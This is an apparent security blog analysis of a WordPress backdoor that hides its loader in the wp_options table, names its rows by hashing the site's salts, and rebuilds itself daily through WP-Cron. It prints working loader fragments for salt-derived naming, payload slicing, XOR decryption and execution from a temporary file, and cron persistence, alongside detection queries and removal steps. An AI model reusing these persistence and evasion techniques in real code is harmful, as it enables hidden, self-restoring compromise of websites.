The site owner had done everything right. They deleted the malicious mu-plugins loader, the fake caching plugin, the hidden copies in wp-content/upgrade/ and uploads/, and the injected lines in functions.php and wp-config.php. They also removed every rogue administrator. A security scanner had cleaned the files twice before. Each time, the files came back the next day.
The reason was a backdoor that does not live in a file. It lives in wp_options, and it ties itself to the one secret every WordPress site already has: the authentication keys and salts in wp-config.php. This article walks through how it works, why searching by name will never find it, and what happened when the owner rotated the salts.
🧬 The loader is a database row
The core of the backdoor is a roughly 10 KB PHP loader stored as an option value. It is stored twice: once with autoload on and once with it off. A small seed (an mu-plugin, a theme include, or a db.php drop-in) only has to read that row and execute it. The seed files are disposable. When a scanner deletes them, the loader in the database simply writes them again.
The loader shows a fake admin notice branded "Locale Performance Cache" so that anything visible in the dashboard looks like a caching tool. Every function is prefixed wp_locale_cache_.
🔑 Option names derived from your salts
Most database-resident malware uses a fixed option name, so one LIKE query finds it. This one doesn't. Every storage name is a hash of the site's own AUTH_KEY and SECURE_AUTH_KEY:
function wp_locale_cache_tok($slot) {
if (!defined('AUTH_KEY') || !defined('SECURE_AUTH_KEY') || AUTH_KEY === '' || SECURE_AUTH_KEY === '') {
return '';
}
return '_' . substr(hash('sha256', AUTH_KEY . '|' . SECURE_AUTH_KEY . '|lpc|' . $slot), 0, 20);
}
The result is option names like _3f9c1e07b2a4d85e6c10: an underscore and 20 hex characters. They are different on every infected site, and there is no string to put in a signature. The same trick names the hidden disk copies (wp-content/upgrade/.<16 hex> and uploads/.<16 hex>.cache) and a draft "stash" post with the slug sync-<10 hex>, titled "Cache compatibility notes".
🧩 Nine slices, three copies
The real payload is encrypted and split into three slices. The slices are written as three independent groups, so nine options in total. Only the first group is autoloaded. The other two sit quietly with autoload off as backups:
$step = (int) ceil(strlen($blob) / 3);
$slices = [substr($blob, 0, $step), substr($blob, $step, $step), substr($blob, $step * 2)];
foreach (['p', 'b', 'x'] as $group) {
$keys = [wp_locale_cache_tok($group.'0'), wp_locale_cache_tok($group.'1'), wp_locale_cache_tok($group.'2')];
wp_locale_cache_write_parts($keys, $slices, ($group === 'p')); // only "p" autoloads
}
On top of that, it keeps:
- legacy copies under fixed names (
wp_user_scopes_crc32,_b,_c, plus underscore-prefixed backups); - the two hidden disk files;
- the stash post and its post meta.
When it starts, it tries each store in order and uses the first one that still returns a complete blob.
🔐 Decryption keyed to wp-config.php
The blob is base64 text. It is decoded, XORed with a 32-byte key that is again derived from the salts, inflated, and then executed from an anonymous temporary file. Nothing is ever written to a path you could find on disk:
$raw = base64_decode($blob, true);
$key = substr(hash('sha256', AUTH_KEY . '|' . SECURE_AUTH_KEY . '|locale-cache', true), 0, 32);
$plain = $raw ^ substr(str_repeat($key, (int) ceil(strlen($raw) / 32)), 0, strlen($raw));
$code = gzinflate($plain);
$fh = tmpfile(); // php://temp-style file, deleted on close
fwrite($fh, "<?php\n" . $code);
require stream_get_meta_data($fh)['uri'];
fclose($fh);
All the sensitive function names are assembled from fragments ('gz' . 'inflate', 'tmp' . 'file', 'base' . '64_decode') to defeat simple greps. The encrypted slices look like random base64. Without the site's own salts, nobody can tell what they contain. That includes a scanner looking at a database dump.
♻️ The daily reconcile
Persistence comes from one ordinary WP-Cron event:
add_action('init', static function () {
if (!wp_next_scheduled('wp_locale_cache_reconcile')) {
wp_schedule_event(time() + 3600, 'daily', 'wp_locale_cache_reconcile');
}
}, 99);
add_action('wp_locale_cache_reconcile', static function () {
$blob = wp_locale_cache_collect_blob(); // first store that survived
if ($blob !== '') {
wp_locale_cache_persist_blob($blob); // rewrite ALL stores from it
}
});
Once a day it rebuilds every option group, legacy copy, disk file and stash post from whichever one survived. A separate option, wp_plugin_helper_seed_targets, holds the re-infection map. It lists the theme files to wire into (functions.php, header.php, footer.php), a db.php and an object-cache.php drop-in, a decoy plugin, and a marker block inside wp-config.php. That is exactly the list of files the owner kept deleting.
🧂 What rotating the salts did
Regenerating the WordPress salts is a standard step after a compromise, because it logs out every session. Here it had an interesting side effect. With the new AUTH_KEY and SECURE_AUTH_KEY:
wp_locale_cache_tok()now computed different option names. The loader looked for slices that didn't exist and found nothing.- The XOR key changed too. Even if the slices were found, they would decrypt to garbage and
gzinflatewould fail.
So the rotation made the backdoor dormant, but it did not remove it. All 21 rows were still in wp_options: two loader rows, nine slices, two small encrypted blobs, the seed-target map, and seven options with the fake plugin's casino-spam settings. Two things could wake it up again:
- an old
wp-config.phprestored from a backup; - an attacker who still holds the old salts writing a fresh seed file.
Its own names now pointed nowhere, so nothing on the site would ever clean those rows up.
🔎 Detection (read-only)
Don't search for names. Search for shape. These queries only read:
-- 1. Salt-derived option names: underscore + 20 hex chars
SELECT option_id, option_name, CHAR_LENGTH(option_value) AS len, autoload
FROM wp_options
WHERE option_name REGEXP '^_[0-9a-f]{20}$'
ORDER BY option_id;
-- 2. The loader itself (PHP stored as an option value)
SELECT option_id, option_name, CHAR_LENGTH(option_value)
FROM wp_options
WHERE option_value LIKE '%wp_locale_cache_%'
OR option_value LIKE '%stream_get_meta_%'
OR option_name IN ('wp_plugin_helper_seed_targets','wp_user_scopes_crc32',
'wp_user_scopes_crc32_b','wp_user_scopes_crc32_c');
-- 3. Stash post and its meta
SELECT ID, post_status, post_title FROM wp_posts
WHERE post_name REGEXP '^sync-[0-9a-f]{10}$' OR post_title = 'Cache compatibility notes';
# Cron hook and hidden disk copies (run as the site user, from the WordPress root)
wp cron event list --fields=hook,next_run | grep -i locale_cache
find wp-content/upgrade wp-content/uploads -maxdepth 1 -name '.*' -type f -regextype posix-extended \
-regex '.*/\.[0-9a-f]{16}(\.cache)?$' -printf '%T+ %s %p\n'
grep -rn 'locale-cache-config' wp-config.php
Run WP-CLI only as the site's own user. Don't use --allow-root, and don't use wp eval on an infected site. Loading WordPress executes the autoloaded loader.
🧹 Removal order
- Back up first. Take a full database dump, then a targeted dump of every row you are about to delete. The encrypted rows are your only evidence.
- Delete the seeds: the
mu-pluginsloader, anydb.php/object-cache.phpdrop-in you did not install, the decoy plugin, injected theme includes, and the marker block inwp-config.php. - Delete every database store in the same pass: both loader rows, all nine slices, the legacy
wp_user_scopes_crc32*rows, the seed-target map, the stash post and its meta. Leaving even one slice group lets the next reconcile rebuild everything. - Remove the cron event
wp_locale_cache_reconcileand confirm it does not return on a fresh listing. - Rotate the salts (again) so that any copy you missed can no longer be decrypted, and purge all page caches.
- Re-run the detection queries the next day, after a daily cron cycle has passed.
📌 Indicators of compromise
- Functions
wp_locale_cache_tok,wp_locale_cache_collect_blob,wp_locale_cache_persist_blob,wp_locale_cache_stash_* - Cron hook
wp_locale_cache_reconcile; transientlpc_notice - Admin notice text "Locale Performance Cache"
- Options matching
^_[0-9a-f]{20}$holding base64 (~19 KB per slice),wp_plugin_helper_seed_targets,wp_user_scopes_crc32(_b/_c) - Hidden files
wp-content/upgrade/.<16hex>,wp-content/uploads/.<16hex>.cache - Draft post
sync-<10hex>"Cache compatibility notes" - Path
mu-plugins/locale-cache/compat.php;// locale-cache-configmarkers inwp-config.php - Companion fake plugin "WP CachePress" (options
wp_cachepress_*, bot-only casino links), which created extra administrator accounts
💡 Takeaways
- When files keep coming back, the source is usually in the database. Look at option values, not just option names.
- Malware can derive its names from your own secrets. Hunt by shape (length, hex pattern, base64) instead.
- Rotating salts can silently disable this family, but it is not a cleanup. The rows stay behind until you delete them.
- Delete every store in one pass, then wait one cron cycle and check again.
❓ FAQ
Why did the deleted files keep coming back?
The real loader was stored in wp_options, not in a file. A daily WP-Cron event read the surviving encrypted copy and rewrote every store, including the mu-plugins loader, drop-ins, theme includes and hidden copies in wp-content. Deleting files alone left that source intact.
How can the option names change from site to site?
Each name is an underscore followed by the first 20 hex characters of a SHA-256 hash of AUTH_KEY, SECURE_AUTH_KEY and a slot label. Every site has different salts, so every infection uses different names, and a fixed name list or signature on the name will not match.
Is rotating the WordPress salts enough to remove it?
No. New salts make the loader compute different option names and a different XOR key, so it goes dormant. The encrypted rows stay in the database, and an old wp-config.php restored from backup would make them work again. Delete every store, then rotate the salts.
Can a database dump show what the payload does?
Not without the site's salts. The slices are XOR-encrypted with a key derived from AUTH_KEY and SECURE_AUTH_KEY and then compressed, so the dump only shows random-looking base64. Hunt by shape instead: option names matching ^_[0-9a-f]{20}$ holding large base64 values.